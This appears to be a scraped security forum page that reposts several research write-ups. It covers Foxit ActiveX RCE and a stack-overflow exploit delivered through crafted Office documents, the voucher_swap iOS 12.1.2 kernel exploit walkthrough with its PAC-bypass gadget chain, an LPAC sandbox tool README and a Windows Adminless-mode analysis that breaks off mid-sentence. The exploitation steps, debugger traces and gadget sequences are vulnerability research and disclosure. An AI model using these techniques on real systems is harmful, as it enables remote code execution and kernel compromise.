push eax .text:10481DAA lea ecx, [ebp+var_10] .text:10481DAD call sub_10163D59 .text:10481DB2 push eax ; lpCommandLine .text:10481DB3 push 0 ; lpApplicationName .text:10481DB5 call ds:CreateProcessW ; rce This code is reached when parsing a PDF with an /OpenAction of type /Launch. I was also able to bypass any popup by setting the /NewWindow tag to true. Breakpoint 0 hit eax=05de3fc4 ebx=05f58dc8 ecx=001dee6c edx=001dee18 esi=001dee94 edi=05b07f50 eip=04ae1db5 esp=001dede8 ebp=001dee7c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5: 04ae1db5 ff155403ce04 call dword ptr [FoxitPDFSDK_AX_Std!DllCanUnloadNow+0x5da73 (04ce0354)] ds:0023:04ce0354={kernel32!CreateProcessW (75d5204d)} 0:000> du poi(@esp+4) 05de3fc4 "c:\Windows\System32\calc.exe" <-- whatever we want 0:000> kv ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 001dee7c 04ae2612 440f2825 05f58dc8 05ff3fd8 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5 001deecc 04ae27e6 05f10fe8 05ff3fd8 05b07f50 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x1022 001deef8 04ae90be 05f58dc8 440f29c9 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x11f6 001def20 0466c70f 001def74 05dbbf80 440f297d FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7ace 001def94 046766f7 05d6cfd8 04f3d4c8 440f2925 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDisplayStartDate+0x4caf 001defcc 046b789a 06339fd4 001def9c 046958f3 FoxitPDFSDK_AX_Std!DllUnregisterServer+0x328e 001df07c 046961f0 04ce7ea8 00000001 001df184 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0x2c106 001df114 1005cf6a 00000001 0000000f 0fe4c2b4 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0xaa5c 001df1e0 1004819a 0000000f 00000001 0000000b mfc140u+0x29cf6a 001df208 100a4a52 0000000f 00000001 0000000b mfc140u+0x28819a 001df230 00c83c87 001dfb64 0000000f 00000001 mfc140u+0x2e4a52 001df2a0 1001e03d 00000110 00000000 001df2dc image00c80000+0x3c87 001df2b0 7717c4b7 0009048a 00000110 0008047a mfc140u+0x25e03d 001df2dc 77195825 1001e000 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf 001df358 771959c3 00000000 1001e000 0009048a USER32!CreateDialogParamW+0x225 001df3a0 77195bb3 00000000 00000110 0008047a USER32!CreateDialogParamW+0x3c3 001df3bc 7717c4b7 0009048a 00000110 0008047a USER32!DefDlgProcW+0x22 001df3e8 7717c5b7 77195b91 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf 001df460 77171b01 00000000 77195b91 0009048a USER32!gapfnScSendMessage+0x2cf 001df490 77171b27 77195b91 0009048a 00000110 USER32!PeekMessageA+0x18c CVE-2018-19447 - URI Parsing Stack Based Buffer Overflow While I was reversing for the logic issues, I happened to stumble upon a neat stack buffer overflow in sub_104CC8B0 at loc_104CC981 when attempting to copy user supplied URI’s to the String1 buffer: .text:104CC981 loc_104CC981: ; CODE XREF: sub_104CC8B0+C3 .text:104CC981 ; sub_104CC8B0+CA .text:104CC981 push offset word_106837E0 ; lpString2 .text:104CC986 lea eax, [ebp+String1] .text:104CC98C push eax ; lpString1 .text:104CC98D call ebx ; lstrcatW .text:104CC98F push edi ; lpString2 .text:104CC990 lea ecx, [ebp+String1] .text:104CC996 push ecx ; lpString1 .text:104CC997 call ebx ; calls lstrcatW to trigger the stack overflow This function was protected via stack cookies and /SAFESEH was enabled at compile time making this much harder to exploit. Having said that, we will see how we can circumvent these protections in upcoming blog posts! STATUS_STACK_BUFFER_OVERRUN encountered (a50.1064): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=2da3944c ecx=75e9e4f4 edx=0031c085 esi=00000000 edi=238c2f50 eip=75e9e371 esp=0031c2cc ebp=0031c348 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 kernel32!UnhandledExceptionFilter+0x5f: 75e9e371 cc int 3 0:000> kv L10 # ChildEBP RetAddr Args to Child 00 0031c348 2d4cd47d 2da3944c 96120647 69edf9b8 kernel32!UnhandledExceptionFilter+0x5f (FPO: [Non-Fpo]) WARNING: Stack unwind information not available. Following frames may be wrong. 01 0031c67c 2d84ca09 00000044 00000000 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDocEventHandler+0x12427 02 0031caec 00410041 00410041 00410041 00410041 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x4b419 03 0031caf0 00410041 00410041 00410041 00410041 0x410041 04 0031caf4 00410041 00410041 00410041 00410041 0x410041 05 0031caf8 00410041 00410041 00410041 00410041 0x410041 06 0031cafc 00410041 00410041 00410041 00410041 0x410041 07 0031cb00 00410041 00410041 00410041 00410041 0x410041 08 0031cb04 00410041 00410041 00410041 00410041 0x410041 09 0031cb08 00410041 00410041 00410041 00410041 0x410041 0a 0031cb0c 00410041 00410041 00410041 00410041 0x410041 0b 0031cb10 00410041 00410041 00410041 00410041 0x410041 0c 0031cb14 00410041 00410041 00410041 00410041 0x410041 0d 0031cb18 00410041 00410041 00410041 00410041 0x410041 0e 0031cb1c 00410041 00410041 00410041 00410041 0x410041 0f 0031cb20 00410041 00410041 00410041 00410041 0x410041 0:000> !exchain 0031c338: kernel32!_except_handler4+0 (75eca332) CRT scope 0, filter: kernel32!UnhandledExceptionFilter+69 (75e9e37e) func: kernel32!UnhandledExceptionFilter+6d (75e9e382) 0031cc44: 00410041 Invalid exception stack at 00410041 But how are we going to trigger these vulnerabilities? The Vectors Since we can’t script anything, we can’t use exposed methods such as OpenFile. However, when inspecting the control further, we can see their is a property that we can probably set called FilePath. Listing ActiveX properties and methods Microsoft Internet Explorer So if we host the following html file from remote, we can essentially render a pdf via the ActiveX control without scripting! <object classid='clsid:F53B7748-643C-4A78-8DBC-01A4855D1A10' id='target' /> <param name="FilePath" value="http://172.16.175.1:9090/sample.pdf" /> </object> saturn:~$ python -m SimpleHTTPServer 9090 Serving HTTP on 0.0.0.0 port 9090 ... 172.16.175.154 - - [21/Nov/2018 09:48:51] "GET / HTTP/1.1" 200 - 172.16.175.154 - - [21/Nov/2018 09:49:28] "GET /sample.pdf HTTP/1.1" 200 - The problem with that is, if this site an untrusted (which it will be probably, unless it’s from the local machine zone) then we get this ugly prompt: Prompts are bad for attackers After clicking “Allow”, the page does render nicely with our crafted pdf file: Rendering PDF files in the browser via Foxit.FoxitPDFSDKProCtrl.5 We can see under Manage add-on’s that after clicking “Allow” on the prompt, we have our attacker’s IP in the whitelist of sites to run this control. Whitelist of approved sites to run the Foxit.FoxitPDFSDKProCtrl.5 control We have a nice vector given that we can of course run all of this within an iframe and load some cat memes for our victim. But the problem is we are one prompt away from no user interaction and on top of that, who even uses Internet Explorer these days anyway? Microsoft Office So at this point, I decided to go through the route of using Microsoft Office. I would imagine its more likely that this product is used in a desktop environment than IE. Also, attack payloads can be crafted for almost all office documents, working in Excel, Word, PowerPoint, Outlook preview pane, etc. The Outlook preview pane is particularly nasty as a user doesn’t even need to open the email that is sent to them, rather just preview it, and we can achieve 100% reliable code execution. The key difference to office vs IE is that there is no prompt for users to run the ActiveX control in Microsoft Word. I tested this on fully patched versions of Office 2013 and Office 2016 Professional using Windows 10 x86 and x64 as the OS. At first I built a poc.docx file but I had some issues setting the FilePath property in Word directly after entering a string and pressing enter: Failing to set the FilePath property, thanks Microsoft, very informative! To solve this, I just crafted the poc.docx with the target ActiveX control and manually modified the word/activeX/activeX1.xml file to set the FilePath ocxPr property and then zipped it all up again. <?xml version="1.0" encoding="UTF-8" standalone="no"?> <ax:ocx ax:classid="{0F6C092B-6E4C-4976-B386-27A9FD9E96A1}" ax:persistence="persistPropertyBag" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <ax:ocxPr ax:name="_Version" ax:value="327680"/> <ax:ocxPr ax:name="_ExtentX" ax:value="16775"/> <ax:ocxPr ax:name="_ExtentY" ax:value="12582"/> <ax:ocxPr ax:name="_StockProps" ax:value="0"/> <ax:ocxPr ax:name="FilePath" ax:value="http://172.16.175.1:9090/poc.pdf"/> Using that as a base, I saved the poc.docx as a poc.rtf file. Then to further enhance the rtf poc, I used a template from CVE-2018-8174. I replaced the objClass htmlfile with the crafted Foxit.FoxitPDFSDKStdCtrl.5 objClass instead from the previously saved poc.rtf file. The final rtf poc seemed clean to me as it was smaller in size and gave more flexibility for obfuscation and IDS avoidance. Proof of Concept || GTFO CVE-2018-19418 and CVE-2018-19447. Feel free to enjoy the video I also made! Conclusion At this point, I would normally recommend users to disable ActiveX, don’t open untrusted links, blah blah, but in reality, there is no warning for users when instantiating trusted (by trusted I mean safe for initialization and safe for scripting) ActiveX controls in Microsoft Office and possibly no way they even know they installed a product that contains third party ActiveX controls. So my message is directed to developers out there. Just stop developing ActiveX controls, period. If you would like to learn how to perform in depth attacks like these against web application targets then feel free to sign up to my training course Full Stack Web Attack in early October this year. References https://www.blackhillsinfosec.com/having-fun-with-activex-controls-in-microsoft-word/ Sursa: https://srcincite.io/blog/2019/02/01/activex-exploitation-in-2018-instantiation-is-not-scripting.html
- 1 reply
-
- 2
-
-
voucher_swap - Exploit for P0 issue 1731 on iOS 12.1.2 Brandon Azad ---- Issue 1731: CVE-2019-6225 -------------------------------------------------------------------- iOS/macOS: task_swap_mach_voucher() does not respect MIG semantics leading to use-after-free Consider the MIG routine task_swap_mach_voucher(): routine task_swap_mach_voucher( task : task_t; new_voucher : ipc_voucher_t; inout old_voucher : ipc_voucher_t); Here's the (placeholder) implementation: kern_return_t task_swap_mach_voucher( task_t task, ipc_voucher_t new_voucher, ipc_voucher_t *in_out_old_voucher) { if (TASK_NULL == task) return KERN_INVALID_TASK; *in_out_old_voucher = new_voucher; return KERN_SUCCESS; } The correctness of this implementation depends on exactly how MIG ownership semantics are defined for each of these parameters. When dealing with Mach ports and out-of-line memory, ownership follows the traditional rules (the ones violated by the bugs above): All Mach ports (except the first) passed as input parameters are owned by the service routine if and only if the service routine returns success. If the service routine returns failure then MIG will deallocate the ports. All out-of-line memory regions passed as input parameters are owned by the service routine if and only if the service routine returns success. If the service routine returns failure then MIG will deallocate all out-of-line memory. But this is only part of the picture. There are more rules for other types of objects: All objects with defined MIG translations that are passed as input-only parameters are borrowed by the service routine. For reference-counted objects, this means that the service routine is not given a reference, and hence a reference must be added if the service routine intends to keep the object around. All objects with defined MIG translations that are returned in output parameters must be owned by the output parameter. For reference-counted objects, this means that output parameters consume a reference on the object. And most unintuitive of all: All objects with defined MIG translations that are passed as input in input-output parameters are owned (not borrowed!) by the service routine. This means that the service routine must consume the input object's reference. Having defined MIG translations means that there is an automatic conversion defined between the object type and its Mach port representation. A task port is one example of such a type: you can convert a task port to the underlying task object using convert_port_to_task(), and you can convert a task to its corresponding port using convert_task_to_port(). Getting back to Mach vouchers, this is the MIG definition of ipc_voucher_t: type ipc_voucher_t = mach_port_t intran: ipc_voucher_t convert_port_to_voucher(mach_port_t) outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t) destructor: ipc_voucher_release(ipc_voucher_t) ; This definition means that MIG will automatically convert the voucher port input parameters to ipc_voucher_t objects using convert_port_to_voucher(), convert the ipc_voucher_t output parameters into ports using convert_voucher_to_port(), and discard any extra references using ipc_voucher_release(). Note that convert_port_to_voucher() produces a voucher reference without consuming a port reference, while convert_voucher_to_port() consumes a voucher reference and produces a port reference. To confirm our understanding of the MIG semantics outlined above, we can look at the function _Xtask_swap_mach_voucher(), which is generated by MIG during the build process: mig_internal novalue _Xtask_swap_mach_voucher (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP) { ... kern_return_t RetCode; task_t task; ipc_voucher_t new_voucher; ipc_voucher_t old_voucher; ... task = convert_port_to_task(In0P->Head.msgh_request_port); new_voucher = convert_port_to_voucher(In0P->new_voucher.name); old_voucher = convert_port_to_voucher(In0P->old_voucher.name); RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher); ipc_voucher_release(new_voucher); task_deallocate(task); if (RetCode != KERN_SUCCESS) { MIG_RETURN_ERROR(OutP, RetCode); } ... if (IP_VALID((ipc_port_t)In0P->old_voucher.name)) ipc_port_release_send((ipc_port_t)In0P->old_voucher.name); if (IP_VALID((ipc_port_t)In0P->new_voucher.name)) ipc_port_release_send((ipc_port_t)In0P->new_voucher.name); ... OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher); OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX; OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply)); OutP->msgh_body.msgh_descriptor_count = 1; } Tracing where each of the references are going, we can deduce that: The new_voucher parameter is deallocated with ipc_voucher_release() after invoking the service routine, so it is not owned by task_swap_mach_voucher(). In other words, task_swap_mach_voucher() is not given a reference on new_voucher. The old_voucher parameter has a reference on it before it gets overwritten by task_swap_mach_voucher(), which means task_swap_mach_voucher() is being given a reference on the input value of old_voucher. The value returned by task_swap_mach_voucher() in old_voucher is passed to convert_voucher_to_port(), which consumes a reference on the voucher. Thus, task_swap_mach_voucher() is giving _Xtask_swap_mach_voucher() a reference on the output value of old_voucher. Finally, looking back at the implementation of task_swap_mach_voucher(), we can see that none of these rules are being followed: kern_return_t task_swap_mach_voucher( task_t task, ipc_voucher_t new_voucher, ipc_voucher_t *in_out_old_voucher) { if (TASK_NULL == task) return KERN_INVALID_TASK; *in_out_old_voucher = new_voucher; return KERN_SUCCESS; } This results in two separate reference counting issues: By overwriting the value of in_out_old_voucher without first releasing the reference, we are leaking a reference on the input value of old_voucher. By assigning the value of new_voucher to in_out_old_voucher without adding a reference, we are consuming a reference we don't own, leading to an over-release of new_voucher. ---- Exploit flow --------------------------------------------------------------------------------- First we allocate a bunch of pipes so that we can spray pipe buffers later. Then we spray enough Mach ports to fill the ipc.ports zone and cause it to grow and allocate fresh pages from the zone map; 8000 ports is usually sufficient. That way, when we allocate our pipe buffers, there's a high chance the pipe buffers lie directly after the ports in kernel memory. The last port that we allocate is the base port. Next we write a 16383-byte pattern to our pipe buffers, causing them to allocate from kalloc.16384. XNU limits the global amount of pipe buffer memory to 16 MB, but this is more than sufficient to fill kalloc.16384 and get some pipe buffers allocated after our base port in kernel memory. We fill the pipes with fake Mach ports. For each pipe buffer we fill, we set the fake ports' ip_kotype bits to specify which pair of pipe file descriptors corresponds to this pipe buffer. Now that we've allocated some pipe buffers directly after the base port, we set up state for triggering the vulnerability. We spray several pages of Mach vouchers, and choose one near the end to be the target for use-after-free. We want the target voucher to lie on a page containing only sprayed vouchers, so that later we can free all the vouchers on that page and make the page available for zone garbage collection. Then we spray 15% of physical memory size with allocations from kalloc.1024. We'll free this memory later to ensure that there are lots of free pages to encourage zone garbage collection. Next we stash a pointer to the target voucher in our thread's ith_voucher field using thread_set_mach_voucher(), and then remove the added voucher reference using the task_swap_mach_voucher() vulnerability. This means that even though ith_voucher still points to the target voucher, there's only one reference on it, so just like the rest of the vouchers it'll be freed once we destroy all the voucher ports in userspace. At this point we free the kalloc.1024 allocations, destroy the voucher ports to free all the vouchers, and start slowly filling kernel memory with out-of-line ports allocations to try and trigger a zone gc and get the page containing our freed target voucher (which ith_voucher still points to) reallocated with out-of-line ports. In my experiments, spraying 17% of physical memory size is sufficient. We'll try and reallocate the page containing the freed voucher with a pattern of out-of-line Mach ports that overwrites certain fields of the voucher. Specifically, we overwrite the voucher's iv_port field, which specifies the Mach port that exposes this voucher to userspace, with NULL and overwrite the iv_refs field, which is the voucher's reference count, with the lower 32 bits of a pointer to the base port. Overwriting iv_refs with the lower 32 bits of a pointer to the base port will ensure that the reference count is valid so long as the base port's address is small enough. This is necessary for us to call thread_get_mach_voucher() later without triggering a panic. Additionally, the pointer to the base port plays double-duty since we'll later use the task_swap_mach_voucher() vulnerability again to increment iv_refs and change what was a pointer to the base port so that it points into our pipe buffers instead. Once we've reallocated the voucher with our out-of-line ports spray, we call thread_get_mach_voucher(). This interprets ith_voucher, which points into the middle of our out-of-line ports spray, as a Mach voucher, and since iv_port is NULL, a new Mach voucher port is allocated to represent the freed voucher. Then thread_get_mach_voucher() returns the voucher port back to us in userspace, allowing us to continue manipulating the freed voucher while it still overlaps the out-of-line ports array. Next we increment the voucher's iv_refs field using task_swap_mach_voucher(), which modifies the out-of-line pointer to the base port overlapping iv_refs so that it now points into the pipe buffers. And since we guaranteed that every possible fake port inside the pipe buffers looks valid, we can now safely receive the messages containing the out-of-line ports spray to recover a send right to a fake ipc_port overlapping our pipe buffers. Our next step is to determine which pair of pipe file descriptors corresponds to the pipe buffer. Since we set each possible fake port's ip_kotype bits earlier while spraying pipe buffers, we can use mach_port_kobject() to retrieve the fake port's ip_kotype and determine the overlapping pipe. And at this point, we can now inspect and modify our fake port by reading and writing the pipe's contents. We can now discard all the filler ports and pipes we allocated earlier, since they're no longer needed. Our next step is to build a kernel memory read primitive. Although we have a send right to an ipc_port overlapping our pipe buffer, we don't actually know the address of our pipe buffer in kernel memory. And if we want to use the pid_for_task() trick to read memory, we'll need to build a fake task struct at a known address so that we can make our fake port's ip_kobject field point to it. So our next goal should be to find the address of our pipe buffer. Unfortunately, unlike prior exploits that have produced a dangling port, we only have a send right to our fake port, not a receive right. This means we have few options for modifying the port's state in such a way that it stores a pointer inside the ipc_port struct that allows us to determine its address. One thing we can do is call mach_port_request_notification() to generate a request that a dead name notification for the fake port be delivered to the base port. This will cause the kernel to allocate an array in the fake port's ip_requests field and store a pointer to the base port inside that array. Thus, we only need a single 8-byte read to get the address of the base port, and since the base port is at a fixed offset from the fake port (determined by how many times we incremented the freed voucher's iv_refs field), we can use the address of the base port to calculate the address of our pipe buffer. Of course, that means that in order to build our arbitrary read primitive, we need ... another arbitrary read primitive. So why is this helpful? Because our first read primitive will leak memory every time we use it while the second one will not. The problem we need to resolve in order to use pid_for_task() to read kernel memory is that we need to get a fake task struct whose bsd_info field points to the address we want to read at a known address in kernel memory. One way to do that is to simply send a Mach message containing our fake task struct to the fake port, and then read out the port's ip_messages.imq_messages field via the pipe to get the address of the ipc_kmsg struct containing the message. Then we can compute the address of the fake task inside the ipc_kmsg and rewrite the fake port to be a task port pointing to the fake task, allowing us to call pid_for_task() to read 4 bytes of kernel memory. Using this technique, we can read the value of the base port pointer in the ip_requests array and then compute the address of the fake port and the containing pipe buffer. And once we know the address of the pipe buffer, we can create the fake task by writing to our pipe to avoid leaking memory on each read. Now that we have a stable kernel read primitive, we can find the address of the host port and read out the host port's ip_receiver field to get the address of the kernel's ipc_space. I then borrow Ian's technique of iterating through all the ipc_port elements in the host port's zalloc block looking for the kernel task port. Once we find the kernel task port, we can read the ip_kobject field to get the kernel task, and reading the task's map field gives us the kernel's vm_map. At this point we have everything we need to build a fake kernel task inside our pipe buffer, giving us the ability to read and write kernel memory using mach_vm_read() and mach_vm_write(). The next step is to build a permanent fake kernel task port. We allocate some kernel memory with mach_vm_allocate() and then write a new fake kernel task into that allocation. We then modify the fake port's ipc_entry in our task so that it points to the new fake kernel task, which allows us to clean up the remaining resources safely. We remove the extra reference on the base port, destroy the voucher port allocated by the call to thread_get_mach_voucher() on the freed voucher, deallocate the ip_requests array, and destroy the leaked ipc_kmsg structs used during our first kernel read primitive. This leaves us with a stable system and a fake kernel task port with which we can read and write kernel memory. ---- Kernel function calling / PAC bypass --------------------------------------------------------- In order to call kernel functions I use the iokit_user_client_trap() technique. This works without modification on non-PAC devices, but on PAC-enabled devices like the iPhone XS we need to do a little extra work. First we get a handle to an IOAudio2DeviceUserClient. Since the container sandbox usually prevents us from accessing this class, we briefly replace our proc's credentials with the kernel proc's credentials to bypass the sandbox check. Once we have an IOAudio2DeviceUserClient, we read the value of the user client's trap field, which points to a heap-allocated IOExternalTrap object. Then, to call an arbitrary kernel function, we simply overwrite the trap to point to the target function and then call IOConnectTrap6() from userspace. This technique has several limitations at this stage: we only control the values of registers X1 - X6, the return value gets truncated to 32 bits, and the function pointer that we call must already have a valid PACIZA signature (that is, a PAC signature using the A-instruction key with context 0). Thus, we'll need to find a way to generate PACIZA signatures on arbitrary functions. As it turns out, one way to do this is to call the module destructor for the com.apple.nke.lttp kext. There is already a PACIZA'd pointer to the function l2tp_domain_module_stop() in kernel memory, so we already have the ability to call it. And as the final step in tearing down the module, l2tp_domain_module_stop() calls sysctl_unregister_oid() on the sysctl__net_ppp_l2tp global sysctl_oid struct, which resides in writable memory. And on PAC-enabled systems, sysctl_unregister_oid() executes the following instruction sequence on the sysctl_oid struct: LDR X10, [X9,#0x30]! ;; X10 = old_oidp->oid_handler CBNZ X19, loc_FFFFFFF007EBD330 CBZ X10, loc_FFFFFFF007EBD330 MOV X19, #0 MOV X11, X9 ;; X11 = &oid_handler MOVK X11, #0x14EF,LSL#48 ;; X11 = 14EF`&oid_handler AUTIA X10, X11 ;; X10 = AUTIA(oid_handler, 14EF`&handler) PACIZA X10 ;; X10 = PACIZA(X10) STR X10, [X9] ;; old_oidp->oid_handler = X10 That means that the field sysctl__net_ppp_l2tp->oid_handler will be replaced with the value PACIZA(AUTIA(sysctl__net_ppp_l2tp->oid_handler, )). Clearly we can't forge PACIA signatures at this point, so AUTIA will fail and produce an invalid pointer value. This isn't NULL or some constant sentinel, but rather is the XPAC'd value with two of the pointer extension bits replaced with an error code to make the resulting pointer invalid. And this is interesting because when PACIZA is used to sign a pointer with invalid extension bits, what actually happens is that first the corrected pointer is signed and then one bit of the PAC signature is flipped, rendering it invalid. What this means for us is that even though sysctl__net_ppp_l2tp->oid_handler was not originally signed, this gadget overwrites the field with a value that is only one bit different from a valid PACIZA signature, allowing us to compute the true PACIZA signature. And if we use this gadget to sign a pointer to a JOP gadget like "mov x0, x4 ; br x5", then we can execute any kernel function we want with up to 4 arguments. We then use the signed "mov x0, x4 ; br x5" gadget to build a PACIA-signing primitive. There are a small number of possible PACIA gadgets, of which we use one that starts: PACIA X9, X10 STR X9, [X2,#0xF0] In order to use this gadget, we execute the following JOP program: X1 = &"MOV X10, X3 ; BR X6" X2 = KERNEL_BUFFER X3 = CONTEXT X4 = POINTER X5 = &"MOV X9, X0 ; BR X1" X6 = &"PACIA X9, X10 ; STR X9, [X2,#0xF0]" PC = PACIA("MOV X0, X4 ; BR X5") MOV X0, X4 BR X5 MOV X9, X0 BR X1 MOV X10, X3 BR X6 PACIA X9, X10 STR X9, [X2,#0xF0] This leaves us with the PACIA'd pointer in kernel memory, which we can read back using our read primitive. Thus, we can now perform arbitrary PACIA forgeries. And using a similar technique with a PACDA gadget, we can produce PACDA forgeries. All that's left is to get control over X0 when doing a function call. We read in the IOAudio2DeviceUserClient's vtable and use our forgery gadgets to replace IOAudio2DeviceUserClient::getTargetAndTrapForIndex() with IOUserClient::getTargetAndTrapForIndex() and replace IOUserClient::getExternalTrapForIndex() with IORegistryEntry::getRegistryEntryID(). Then we overwrite the user client's registry entry ID field with a pointer to the IOExternalTrap. Finally we write the patched vtable into allocated kernel memory and replace the user client's vtable pointer with a forged pointer to our fake vtable. And at this point we now have the ability to call arbitrary kernel functions with up to 7 arguments using the iokit_user_client_trap() technique, just like on non-PAC devices. ---- Running the exploit -------------------------------------------------------------------------- For best results, reboot the device and wait a few seconds before running the exploit. I've seen reliability above 99.5% on my devices after a fresh boot (the completed exploit has never failed for me). Running the exploit twice without rebooting will almost certainly panic, since it will mess up the heap groom and possibly result in base port having a too-large address. After getting kernel read/write and setting up kernel function calling, the exploit will trigger a panic by calling an invalid address with special values in registers X0 - X6 to demonstrate that function calling is successful. ---- Platforms ------------------------------------------------------------------------------------ I've tested on an iPhone 8, iPhone XR, and iPhone XS running iOS 12.1.2. You can add support for other devices in the files voucher_swap/parameters.c and voucher_swap/kernel_call/kc_parameters.c. The exploit currently assumes a 16K kernel page size, although it should be possible to remove this requirement. The PAC bypass also relies on certain gadgets which may be different on other versions or devices. This vulnerability was fixed in iOS 12.1.3, released January 22, 2019: https://support.apple.com/en-us/HT209443 ---- Other exploits ------------------------------------------------------------------------------- This bug was independently discovered and exploited by Qixun Zhao (@S0rryMybad) as part of a remote jailbreak. He developed a clever exploit strategy that reallocates the voucher with OSStrings; you can read about it here: http://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202%20(EN).html Sursa: https://github.com/OpenJailbreak/voucher_swap
-
- 1
-
-
LPAC Sandbox Launcher Less Privileged AppContainer Sandbox Launcher Screenshot: Details: Important Capabilities for LPAC (minimum) lpacCom lpacAppExperience registryRead Event Viewer Applications and Services Logs > Microsoft > Windows > Security-LessPrivilegedAppContainer > Operational some activity, but not much detail yet. Likely more detail in future Windows releases LPAC File System Access LPAC is essentially Default Deny AppContainer. You need to give it permissions via capabilities and more. Some example "icacls" commands: icacls D:\* /grant *S-1-15-2-2:(OI)(CI)(RX) /T S-1-15-2-2 = ALL RESTRICTED APPLICATION PACKAGES = LPAC (RX) gives Read & Execute access. (M) gives Modify access. (F) gives Full access. Identifying LPAC Processes PowerShell users can utilize James Forshaw's NtObjectManager (https://www.powershellgallery.com/packages/NtObjectManager/) excellent tool to identify LPAC. The Get-NtProcessMitigations Cmdlet will differentiate between regular AppContainer and LPAC (Less Privileged AppContainer) in the output. Process Hacker (latest Nightly builds) can identify LPAC as well. On the Token tab, go to Advanced to bring up the Token Properties and go to the Attributes tab. LPAC can be identified with the WIN://NOALLAPPPKG security attribute. Also, James Forshaw's TokenViewer program which is part of Google's sandbox-attacksurface-analysis-tools (https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools) can also idenify LPAC via the WIN://NOALLAPPPKG security attribute and is also fantastic with regard to viewing Capabilities and such. (more details to update later) LICENSE This project use MIT License, and JSON use https://github.com/nlohmann/json , some API use NSudo, but rewrite it. Sursa: https://github.com/WildByDesign/Privexec
-
Sunday, 13 January 2019 Enabling Adminless Mode on Windows 10 SMode Microsoft has always been pretty terrible at documenting new and interesting features for their System Integrity Policy used to enable security features like UMCI, Device Guard/Windows Defender Application Control etc. This short blog post is about another feature which seems to be totally undocumented*, but is available in Windows 10 since 1803, Adminless mode. * No doubt Alex Ionescu will correct me on this point if I'm wrong. TL;DR; Windows 10 SMode has an Adminless mode which fails any access check which relies on the BUILTIN\Administrators group. This is somewhat similar to macOS's System Integrity Protection in that the Administrator user cannot easily modify system resources. You can enable it by setting the DWORD value SeAdminlessEnforcementModeEnabled in HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel to 1 on Windows 10 1809 SMode. I'd not recommend setting this value on a working SMode system as you might lock yourself out of the computer. If you look at the kernel 1803 and above at the API SeAccessCheck (and similar) you'll see it now calls the method SeAccessCheckWithHintWithAdminlessChecks. The Adminless part is new, but what is Adminless and how is it enabled? Let's see some code, this is derived from 1809 [complexity reduced for clarity]: BOOLEAN SeAccessCheck(PSECURITY_DESCRIPTOR SecurityDescriptor, PSECURITY_SUBJECT_CONTEXT SubjectSecurityContext, BOOLEAN SubjectContextLocked, ACCESS_MASK DesiredAccess, ACCESS_MASK PreviouslyGrantedAccess, PPRIVILEGE_SET *Privileges, PGENERIC_MAPPING GenericMapping, KPROCESSOR_MODE AccessMode, PACCESS_MASK GrantedAccess, PNTSTATUS AccessStatus) { BOOLEAN AdminlessCheck = FALSE; PTOKEN Token = SeQuerySubjectContextToken(SubjectSecurityContext); DWORD Flags; BOOLEAN Result SeCodeIntegrityQueryPolicyInformation(205, &Flags, sizeof(Flags)); if (Flags & 0xA0000000) { AdminlessCheck = SeTokenIsAdmin(Token) && !RtlEqualSid(SeLocalSystemSid, Token->UserAndGroups->Sid); } if (AdminlessCheck) { Result = SeAccessCheckWithHintWithAdminlessChecks( ..., GrantedAccess, AccessStatus, TRUE); if (Result) { return TRUE; } if (SepAccessStatusHasAccessDenied(GrantedAccess, AccessStatus) && SeAdminlessEnforcementModeEnabled) { SepLogAdminlessAccessFailure(...); return FALSE; } } return SeAccessCheckWithHintWithAdminlessChecks( ..., FALSE); } The code has three main parts. First a call is made to SeCodeIntegrityQueryPolicyInformation to look up system information class 205 from the CI module. Normally these information classes are also accessible through NtQuerySystemInformation, however 205 is not actually wired up in 1809 therefore you can't query the flags from user-mode directly. If the flags returned have the bits 31 or 29 set, then the code tries to determine if the token being used for the access check is an admin (it the token a member of the the BUILTIN\Administrators group) and it's not a SYSTEM token based on the user SID. If this token is not an admin, or it's a SYSTEM token then the second block is skipped. The SeAccessCheckWithHintWithAdminlessChecks method is called with the access check arguments and a final argument of FALSE and the result returned. This is the normal control flow for the access check. If the second block is instead entered SeAccessCheckWithHintWithAdminlessChecks is called with the final argument set to TRUE. This final argument is what determines whether Adminless checks are enabled or not, but not whether the checks are enforced. We'll see what the checks are are in a minute, but first let's continue here. Finally in this block SepAccessStatusHasAccessDenied is called which takes the granted access and the NTSTATUS code from the check and determines whether the access check failed with access denied. If the global variable SeAdminlessEnforcementModeEnabled is also TRUE then the code will log an optional ETW event and return FALSE indicating the check has failed. If Adminless mode is not enabled the normal non Adminless check is made. There's two immediate questions you might ask, first where do the CI flags get set and how do you set SeAdminlessEnforcementModeEnabled to TRUE? The latter is easy, by creating a DWORD registry value set to 1 in "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel" with the name AdminlessEnforcementModeEnabled the kernel will set that global variable to TRUE. The CI flags is slightly more 